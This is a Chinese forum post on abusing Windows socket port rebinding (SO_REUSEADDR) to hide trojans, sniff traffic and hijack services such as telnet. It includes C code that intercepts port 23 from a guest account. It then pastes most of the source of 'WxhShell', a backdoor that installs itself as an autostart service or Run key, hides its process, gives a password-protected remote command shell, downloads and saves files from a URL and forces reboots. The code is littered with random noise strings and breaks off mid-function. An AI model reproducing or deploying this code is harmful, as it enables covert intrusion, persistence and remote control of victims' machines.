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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: w8O" =},  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); G&q'#3ieC  
+R-h ,$\=7  
  saddr.sin_family = AF_INET; wfgqgPo!v  
?4XnEDA m  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); pb!V|#u"  
qgoJ4Z*  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); )Im3'0l>  
9\HR60V  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 sI_7U^"[  
qv[[Q[RK-5  
  这意味着什么?意味着可以进行如下的攻击: $ +;+:K  
|]`hXr  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 \(I0wEQo$  
@q K]JK  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) a1Hz3y~S/  
`@[l\.Vt:  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]r4bRK[1  
i AdGgK  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  6{q;1-8j+j  
<,"4k&0Q>V  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 +`@M*kd  
q\%cFB}  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 j5Qo*p  
{7*>Cv}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ^/HW$8wEi  
UtnZNdl v  
  #include nq"evD5  
  #include ,7W:fwdR  
  #include {( #zcK  
  #include    o*">KqU`b  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Dj i^+;"&  
  int main() DAfyK?+UL  
  { 9mlIbEAb  
  WORD wVersionRequested;  Tc6:UF  
  DWORD ret; h.)h@$d  
  WSADATA wsaData; -KH)J  
  BOOL val; T*?s@$)m4  
  SOCKADDR_IN saddr; k.<3HU  
  SOCKADDR_IN scaddr; G8nrdN-9  
  int err; .`jo/,?+O  
  SOCKET s; F]UQuOR)  
  SOCKET sc; %SrM|&[  
  int caddsize; ,R?np9wc  
  HANDLE mt; $&{ti.l  
  DWORD tid;   NQfYxB1Yr:  
  wVersionRequested = MAKEWORD( 2, 2 ); /kgeV4]zR  
  err = WSAStartup( wVersionRequested, &wsaData ); hfqqQ!,l!  
  if ( err != 0 ) {  ~*M$O&  
  printf("error!WSAStartup failed!\n"); !*aPEf270  
  return -1; -&|: 0#@P  
  } {`(>O"_[Q  
  saddr.sin_family = AF_INET; 5 c5oSy+  
   VIC0}LT0R  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Z&Y=`GOI  
K*q[(,9  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); u7fK1 ^O  
  saddr.sin_port = htons(23); S${Zzt"  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1|{bDlmt  
  { OoBCY-gj*  
  printf("error!socket failed!\n"); D-2.fjo9!  
  return -1; 7Vu?  
  } 33'Y[4  
  val = TRUE; 0V$k7H$Z  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 k'T^dY&c  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ?WUF!Jk  
  { ST5V!jz  
  printf("error!setsockopt failed!\n"); !ErH~<f%K  
  return -1; .B72C[' c  
  } R\mR$\cS  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;  x}TS  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 p8}(kHUp(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 QSw<%pcJE@  
ht=P\E  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)  R'}95S<  
  { ~1 ~Xfo>  
  ret=GetLastError(); mO*^1  
  printf("error!bind failed!\n"); ehNzDr\s  
  return -1; tz^/J=)"  
  } |TsE-t*E}  
  listen(s,2); GOT1@.Y  
  while(1) +k\Uf*wh  
  { }|\d+V2On  
  caddsize = sizeof(scaddr); G(iJi  
  //接受连接请求 q[3x2sR  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); <eN_1NTH_  
  if(sc!=INVALID_SOCKET) 'sh~,+g  
  { dY7'OAUyVl  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); )+P]Vf\jH  
  if(mt==NULL) jN31hDg<z  
  { urBc=3Rz  
  printf("Thread Creat Failed!\n"); NGC,lv  
  break; 1x)ZB~L  
  } kDvc" ,SD#  
  } gF?[rqz{  
  CloseHandle(mt); N8toxRu  
  } TlZT1H  
  closesocket(s); JyLa#\ R  
  WSACleanup(); t_z,>,BqJ  
  return 0; }t9.N`xu  
  }   k o;>#::  
  DWORD WINAPI ClientThread(LPVOID lpParam) 1Xu?(2;NF  
  { XV3C`:b  
  SOCKET ss = (SOCKET)lpParam; V7d) S&*V  
  SOCKET sc; *NFg;<:j  
  unsigned char buf[4096]; E/M_lvQ  
  SOCKADDR_IN saddr; KRAcnY;u  
  long num; dCyqvg6u  
  DWORD val; (8$k4`T>  
  DWORD ret; Byl^?5  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ?BA]7M(,4  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   bmgncwlz  
  saddr.sin_family = AF_INET; $+JS&k/'m  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &H}r%%|A  
  saddr.sin_port = htons(23); Wj|alH9<  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) gr-9l0u  
  { }jH7iyjD  
  printf("error!socket failed!\n"); o?L'Pg  
  return -1; E`int?C!  
  } W>_]dPBS/  
  val = 100; (*}yjUYLZ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S$)*&46g  
  { ^G&3sF}  
  ret = GetLastError(); ^d}gpin  
  return -1; &LO"g0w  
  } aj8A8ma*}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]aP= Ks%  
  { :x.7vZzxs  
  ret = GetLastError(); ~h}Fi  
  return -1; I V%zO+  
  } \B F*m"lz  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 1"Z@Q`}  
  { j /=i Mq  
  printf("error!socket connect failed!\n"); 'c2W}$q  
  closesocket(sc); XU!2YO)t;!  
  closesocket(ss); =4V&*go*\  
  return -1; ZkL8e  
  } dQoYCS}IaV  
  while(1) O[tvR:Nh  
  { f-DL:@crU  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 P-F)%T[  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 3LDS Z1f  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 A.<H>=Z# O  
  num = recv(ss,buf,4096,0); H]Hv;fcC  
  if(num>0) We0.3aG  
  send(sc,buf,num,0); r/pH_@  
  else if(num==0) V7#v6!7A@  
  break; 4BnSqwa_  
  num = recv(sc,buf,4096,0); `E+Jnu,jC  
  if(num>0) KT]Pw\y5  
  send(ss,buf,num,0); ? WJ> p  
  else if(num==0) b0 iSn#$  
  break; S$KFf=0  
  } 4tL<q_  
  closesocket(ss); ~ wg:!VWA)  
  closesocket(sc); X%yO5c\l2  
  return 0 ; ]7-&V-Ct*  
  } F, U*yj  
5F`;yh+e  
UOQEk22  
========================================================== c/c$D;T  
}Zl&]e  
下边附上一个代码,,WXhSHELL r0p w_j  
YK|bXSA[  
========================================================== [MuEoWrq(}  
),%6V5a+E  
#include "stdafx.h" wFG3KzEq ~  
8XbA'% o  
#include <stdio.h> U qG .:@T  
#include <string.h> V_plq6z  
#include <windows.h> P[s8JDqu  
#include <winsock2.h> fw ,\DFHO  
#include <winsvc.h> Aw&tP[N[  
#include <urlmon.h> * #TUGfwy  
.<kqJ|SVi  
#pragma comment (lib, "Ws2_32.lib") KNH1#30 K  
#pragma comment (lib, "urlmon.lib") v<Bynd-  
y% :4b@<  
#define MAX_USER   100 // 最大客户端连接数 2]%h$f+  
#define BUF_SOCK   200 // sock buffer Bl=tYp|a  
#define KEY_BUFF   255 // 输入 buffer UH3sH t  
>2#8B  
#define REBOOT     0   // 重启 ^CwR!I.D}4  
#define SHUTDOWN   1   // 关机 wAnb Di{W  
!w&kyW?e  
#define DEF_PORT   5000 // 监听端口 zYl#4O`=c  
v4@Z(M  
#define REG_LEN     16   // 注册表键长度 C6rg<tCH  
#define SVC_LEN     80   // NT服务名长度 B"%{i-v>**  
AT5aDEb^^  
// 从dll定义API c-.t>r &  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $-[CG7VgX%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wEzKqD  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `xrmT t X  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mKYeD%Pm*  
3sd"nR?aX  
// wxhshell配置信息 odIZo|dv  
struct WSCFG { \U@rg4  
  int ws_port;         // 监听端口 ?-1r$31p  
  char ws_passstr[REG_LEN]; // 口令 m&|`x  
  int ws_autoins;       // 安装标记, 1=yes 0=no LM2TZ   
  char ws_regname[REG_LEN]; // 注册表键名 RT%pDym\  
  char ws_svcname[REG_LEN]; // 服务名 ;sHN/eF  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >>[ G1   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 vTv]U5%:>%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }NsUnbxT  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4H@Wc^K  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |HZTN"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :d ~|jS  
/lafve~  
}; 7Pa@1']  
A&>.74}p  
// default Wxhshell configuration Wh&8pH:  
struct WSCFG wscfg={DEF_PORT, L/"0ws_  
    "xuhuanlingzhe", LzYO$Ir:g  
    1, Y#g4$"G9  
    "Wxhshell", \W%UZs  
    "Wxhshell", u ElAnrm  
            "WxhShell Service", '= l[;Q^Q  
    "Wrsky Windows CmdShell Service", < })'Y~i  
    "Please Input Your Password: ", |ae97 5  
  1, EM\'GW  
  "http://www.wrsky.com/wxhshell.exe", NKQOUw:qn  
  "Wxhshell.exe" IgC}&  
    }; ^{8Gt @  
W\18{mbuy  
// 消息定义模块 (ND4Q[*6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j;+?HbL  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }.z&P'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  [~&XL0  
char *msg_ws_ext="\n\rExit."; fHZTXvxoL  
char *msg_ws_end="\n\rQuit."; n`4K4y%Dy}  
char *msg_ws_boot="\n\rReboot..."; Znetzm=0  
char *msg_ws_poff="\n\rShutdown..."; 7w3CXY  
char *msg_ws_down="\n\rSave to "; s@fTj$h  
Ko^c|}mh*!  
char *msg_ws_err="\n\rErr!"; Vx @|O%  
char *msg_ws_ok="\n\rOK!"; <x!GE>sf+  
 YBnA+l*  
char ExeFile[MAX_PATH]; itzyCw2|#  
int nUser = 0; [V}S <Xp  
HANDLE handles[MAX_USER]; R6=$u{D  
int OsIsNt; GIAc?;zY  
BATG FS&  
SERVICE_STATUS       serviceStatus; T7f ${  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; H OBP`lf  
hS9;k9w  
// 函数声明 z~A]9|/61v  
int Install(void); @JRNb=?a  
int Uninstall(void); N~F RM& x  
int DownloadFile(char *sURL, SOCKET wsh); Zk[&IBE_  
int Boot(int flag); ;>mCalwj  
void HideProc(void); 2}W0 F2*  
int GetOsVer(void); mg, j:,  
int Wxhshell(SOCKET wsl); 8#Q$zLK42N  
void TalkWithClient(void *cs); Oez>X=Xf  
int CmdShell(SOCKET sock); #Z5}2soA  
int StartFromService(void); 2ZQ}7`Y  
int StartWxhshell(LPSTR lpCmdLine); C{d7J'Avk  
sCu+Lg~f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); aj}(E +  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1@lJonlF  
|`jjHuQ;  
// 数据结构和表定义 Zy09L}59P  
SERVICE_TABLE_ENTRY DispatchTable[] = l{D'uI[&  
{ )$,"u4  
{wscfg.ws_svcname, NTServiceMain}, *& m#qEv  
{NULL, NULL} 2W$cFC  
}; B^^r\L9  
K5"#~\D  
// 自我安装 @&}q} D  
int Install(void) f0T ,ul,  
{ (< =}]v  
  char svExeFile[MAX_PATH]; 07hF2[i  
  HKEY key; @'=Uq  
  strcpy(svExeFile,ExeFile); }Nb8}(6  
72,rFYvpK  
// 如果是win9x系统,修改注册表设为自启动 }ZqW@ -  
if(!OsIsNt) { &Ni`e<mP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F0690v0mB[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f#Xyoa%  
  RegCloseKey(key); sUYxT>R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i.:. Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~i.k$XGA  
  RegCloseKey(key); $2%f 8&  
  return 0; _$>pw<  
    } yOvm`9  
  } lq"f[-8a2q  
} U#1bp}y  
else { 0T>H)c6:\  
3su78et}  
// 如果是NT以上系统,安装为系统服务 "gD-8C3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %r+vSGt;5  
if (schSCManager!=0) aC< KN:TN6  
{ ] 7 _`]7p  
  SC_HANDLE schService = CreateService M,5"b+mX[~  
  ( \qUKP"dr  
  schSCManager, v)_nWu  
  wscfg.ws_svcname, WF\)fc#;_o  
  wscfg.ws_svcdisp, 98.>e  
  SERVICE_ALL_ACCESS, 21(p|`X  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , sFBneBub  
  SERVICE_AUTO_START, &[hLzlrg  
  SERVICE_ERROR_NORMAL, vp(;W,ba:|  
  svExeFile, #b7$TV  
  NULL, *kIc9}  
  NULL, =f(cH152T  
  NULL, aAy'\T$x.  
  NULL, |T{C,"9y  
  NULL #Eb5:;  
  ); !a~`Bs$'jr  
  if (schService!=0) i%6;  
  { al`3Lu0  
  CloseServiceHandle(schService); kapC%/6"  
  CloseServiceHandle(schSCManager); :eZh'-c?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `CeJWL5{  
  strcat(svExeFile,wscfg.ws_svcname); |7#[ (%D!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { P4Th_B7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jzK5-;b  
  RegCloseKey(key); }y%oT P&  
  return 0; #Mg]GeDJ{  
    } @zgdq  
  } SwU\ q]^|Z  
  CloseServiceHandle(schSCManager); uf&N[M  
} ^_ojR4  
} HV/cc"  
dik9 >*"|o  
return 1; ` \A(9u*  
} a {ab*tM  
}^(}HBT  
// 自我卸载 ,j5&6X=1M  
int Uninstall(void) l$hJE;n  
{ S1U@UC  
  HKEY key; S\CRG>  
a" H WGY  
if(!OsIsNt) { 'Z`$n8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~8m=1)A{(  
  RegDeleteValue(key,wscfg.ws_regname); jLJ1u/l>;  
  RegCloseKey(key); (5Sivw*mP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IG3,XW  
  RegDeleteValue(key,wscfg.ws_regname); $x6$*K(F  
  RegCloseKey(key); Iyo@r%I  
  return 0; &P,^.'  
  } ``A 0WN  
} zX#%{#9  
} 45&8weXO:'  
else { {Q<$Uo6V  
M_LXg%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *H[Iq!@  
if (schSCManager!=0) +ht| N[P  
{ VxzkQ}o  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6'W[{gzl  
  if (schService!=0) +ki{H}G21  
  { ,&4qgp{)  
  if(DeleteService(schService)!=0) { <58l;<0  
  CloseServiceHandle(schService); {NJfNu  
  CloseServiceHandle(schSCManager); Ix|~f1*%  
  return 0; }Yv\0\~'W|  
  } {m`A!qcD|  
  CloseServiceHandle(schService); 3Oa*%kP+  
  } @/&b;s73  
  CloseServiceHandle(schSCManager); >h+349  
} +\"-P72vjk  
} wDwH.~3!  
?RzDQy D  
return 1; `m.eM  
} )+H[kiN  
k0Ek:MjJr  
// 从指定url下载文件 nv<` K9d  
int DownloadFile(char *sURL, SOCKET wsh) _hG;.=sr  
{ r ]>\~&?^F  
  HRESULT hr; R4Rb73o  
char seps[]= "/"; k-*Mzm]kb  
char *token; V Yw%01#  
char *file; IcIOC8WC  
char myURL[MAX_PATH]; 2 3KyCV5  
char myFILE[MAX_PATH]; A?Wk  w f  
\(p{t  
strcpy(myURL,sURL); u>pBB@  
  token=strtok(myURL,seps); |Oag,o"  
  while(token!=NULL) p h[\)  
  { !6}O.Nu  
    file=token; IHC1G1KW=A  
  token=strtok(NULL,seps); :D7|%KK  
  } oR p:B &  
!jqWwi  
GetCurrentDirectory(MAX_PATH,myFILE); U1_&gy @y  
strcat(myFILE, "\\"); 6x=YQwn~  
strcat(myFILE, file); \C 5%\4  
  send(wsh,myFILE,strlen(myFILE),0); dd|W@Xp -  
send(wsh,"...",3,0); Iak0 [6Ey  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); x7T +>  
  if(hr==S_OK) 6Fy@s  
return 0; s/Xb^XjS1  
else [Vdz^_@Y  
return 1; wve=.n  
w{ `|N$  
} #0;HOeIiH  
j8 C8X$  
// 系统电源模块 n-QJ;37\  
int Boot(int flag) 0|D&"/.R#!  
{ V[a[i>,Z  
  HANDLE hToken; 2AVc? 9@  
  TOKEN_PRIVILEGES tkp; XN,,cU  
F^!mI7Z|(2  
  if(OsIsNt) { mKq"3 4F  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); R.s|j=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]IJv-(  
    tkp.PrivilegeCount = 1; %f8Qa"j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `:M^8SYrL  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A>.2OC+  
if(flag==REBOOT) { ji+{ :D  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !MQ N  H  
  return 0; ( #&|Dp^'  
} T}7uew\v0<  
else { 6aOp[-Le  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) z1,tJH0  
  return 0; (bn Zy0  
} + E"[  
  } #~qAHJ<  
  else { f+vVR1  
if(flag==REBOOT) { 3]JZu9#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zGc(Ef5`M6  
  return 0; Kud'pZ{P  
} p2x [p  
else { VF0dE  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6gOe!m m  
  return 0; 8n4V cu  
} cjULX+h  
} EP7AP4  
*Zd84wRSj  
return 1; [;O^[Iybf:  
} A[UP"P~u/  
TOI4?D]  
// win9x进程隐藏模块 lu UYo  
void HideProc(void) :6;e\UE  
{ ?a/n<V '  
UEzi*"-v2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ! d9AG|  
  if ( hKernel != NULL ) 6ew "fCrH!  
  { !D.0 (J  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wX1ig  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fMK#x\.4  
    FreeLibrary(hKernel); Hlj6$%.  
  } qX>Q+_^  
#WE]`zd  
return; +_HdX w#  
} k4KHS<n0  
C>|@& o1  
// 获取操作系统版本 {,O`rW_eS  
int GetOsVer(void) aw}+'(?8]  
{ \Rk$t7ZH  
  OSVERSIONINFO winfo; p*;Qz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "EftN5?/  
  GetVersionEx(&winfo); qg,Nb  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zXc}W*ymj  
  return 1; xQt 3[(Z  
  else a}.Y!O&  
  return 0; :\V,k~asl  
} ]@xL=%   
|Svk^mq  
// 客户端句柄模块 #A <1aQ  
int Wxhshell(SOCKET wsl) &A50'8B2A  
{ #GqTqHNE<  
  SOCKET wsh; XKLF8~y8A  
  struct sockaddr_in client; [5pCL0<c@  
  DWORD myID; W7G9Kx1Y  
E*v]:kok  
  while(nUser<MAX_USER) tGqCt9;<  
{ {^RG% &S  
  int nSize=sizeof(client); w4MwD?i]R  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @eQld\h'  
  if(wsh==INVALID_SOCKET) return 1; VTh$a_P>  
5A_4\YpDR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `n-vjjG%#  
if(handles[nUser]==0) ?=|kC*$/G  
  closesocket(wsh); F>Y9o- o2  
else /B HepD}  
  nUser++; Di??Q_$ak  
  } f?0s &Xo  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k7bl'zic  
.`LgYW  
  return 0; @oH[SWx  
} {tzxA_  
8@7AE"  
// 关闭 socket q9}2  
void CloseIt(SOCKET wsh) shi Hy*(v  
{ dl/X."iv!  
closesocket(wsh); 2Ug.:![  
nUser--; kG3!(?:  
ExitThread(0); r#~K[qb  
} I5pp "*u  
 t9*=  
// 客户端请求句柄 <lld*IH  
void TalkWithClient(void *cs) =l|>.\-  
{ <NQyP{p  
{$TZ}z"DA  
  SOCKET wsh=(SOCKET)cs; E#h~V5Tf  
  char pwd[SVC_LEN]; QN 0rE @a  
  char cmd[KEY_BUFF]; >C2HC6O3  
char chr[1]; +J40wFI:y  
int i,j; e(\Q)re5Q  
zHx mA  
  while (nUser < MAX_USER) { 9A;6x$s  
0^\/ERK  
if(wscfg.ws_passstr) { QAaF@Do  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;6<zjV7}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %aLCH\e  
  //ZeroMemory(pwd,KEY_BUFF); :`<psvd  
      i=0; vo b$iS`>=  
  while(i<SVC_LEN) { iB{xvyR  
mmN|F$;r  
  // 设置超时 $HRed|*.C  
  fd_set FdRead; =K6c;  
  struct timeval TimeOut; ta! V=U  
  FD_ZERO(&FdRead); <P pYl  
  FD_SET(wsh,&FdRead); U(3(ZqP  
  TimeOut.tv_sec=8; y"R("j $  
  TimeOut.tv_usec=0; ?cBO6^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); QeK{MF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); T 'i~_R6  
o4'v> b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $n*%v85  
  pwd=chr[0]; &l!$Sw-u;  
  if(chr[0]==0xd || chr[0]==0xa) { "z/V%ZK~f  
  pwd=0; ;vUxO<cKFq  
  break; 0o;~~\fq.  
  } 9%TT> 2#  
  i++; f=oeF]=I"  
    } =L16hDk o  
fIEw(k<*  
  // 如果是非法用户,关闭 socket C@)pmSQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rys<-i(  
} <rMv0y+r  
# `58F.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "8_,tYAH  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .P%ym~S  
zW)gC9_|m-  
while(1) { E.#6;HHzN  
KZ4zF  
  ZeroMemory(cmd,KEY_BUFF); 1*#bfeoM  
CSH`pU  
      // 自动支持客户端 telnet标准   9mm2Vps;  
  j=0; =f4< ({9  
  while(j<KEY_BUFF) { h+xA?[ c=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4a 4N C  
  cmd[j]=chr[0]; B<C&ay  
  if(chr[0]==0xa || chr[0]==0xd) { /.2u.G  
  cmd[j]=0; iha9!kf  
  break; :s-EG;.  
  } >@:667i,`  
  j++; y;,y"W  
    } OgTSx  
z1}1*F"  
  // 下载文件 B{=009.  
  if(strstr(cmd,"http://")) { 2mLUdx~c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ik-oI=>.  
  if(DownloadFile(cmd,wsh)) NJ>,'s  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Za9$Hh/X  
  else :r^klJ(m  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  9^p32G  
  } p~FQcW'a~  
  else { ~ ;XYwQ"  
>Pyc[_j  
    switch(cmd[0]) { @bY?$fj_u  
  c G*(C  
  // 帮助 O*ImLR)i+s  
  case '?': { 1M=   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); iW;}%$lVX  
    break; dWjx"7^  
  } "kU>~~y,  
  // 安装 ~r PYJ  
  case 'i': { l JlZHO  
    if(Install()) &h\CS8nT%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vl4Z_viNH  
    else !+=Zjm4L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |a>}9:g,=*  
    break; Y.(v{l  
    } Q;Q%SI`yT  
  // 卸载 {GK(fBE  
  case 'r': { PM8Ks?P#u  
    if(Uninstall()) }D Z)W0RDe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _o&94&  
    else OH0S2?,{>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FQ0KU b}0  
    break; =hPG_4#  
    } ]79~:m[C  
  // 显示 wxhshell 所在路径 )7k&`?Mh  
  case 'p': { 76$*1jB  
    char svExeFile[MAX_PATH]; u7n[f@Eg,%  
    strcpy(svExeFile,"\n\r"); uFC?_q?4\  
      strcat(svExeFile,ExeFile); NWb} OXK/  
        send(wsh,svExeFile,strlen(svExeFile),0); /MhS=gVxM  
    break; Ma>:_0I5  
    } 6<<'bi  
  // 重启 5cgo)/3M@}  
  case 'b': { )tScc*=8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ' *}^@[&  
    if(Boot(REBOOT)) M5F(<,n;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gA{'Q\  
    else { }'DC Q  
    closesocket(wsh); C`3V=BB  
    ExitThread(0); mF}c-  D  
    } wZ$ tJQO  
    break; r?>Vx -  
    }  gm(De9u  
  // 关机 'YBi5_  
  case 'd': { |PI)A`  
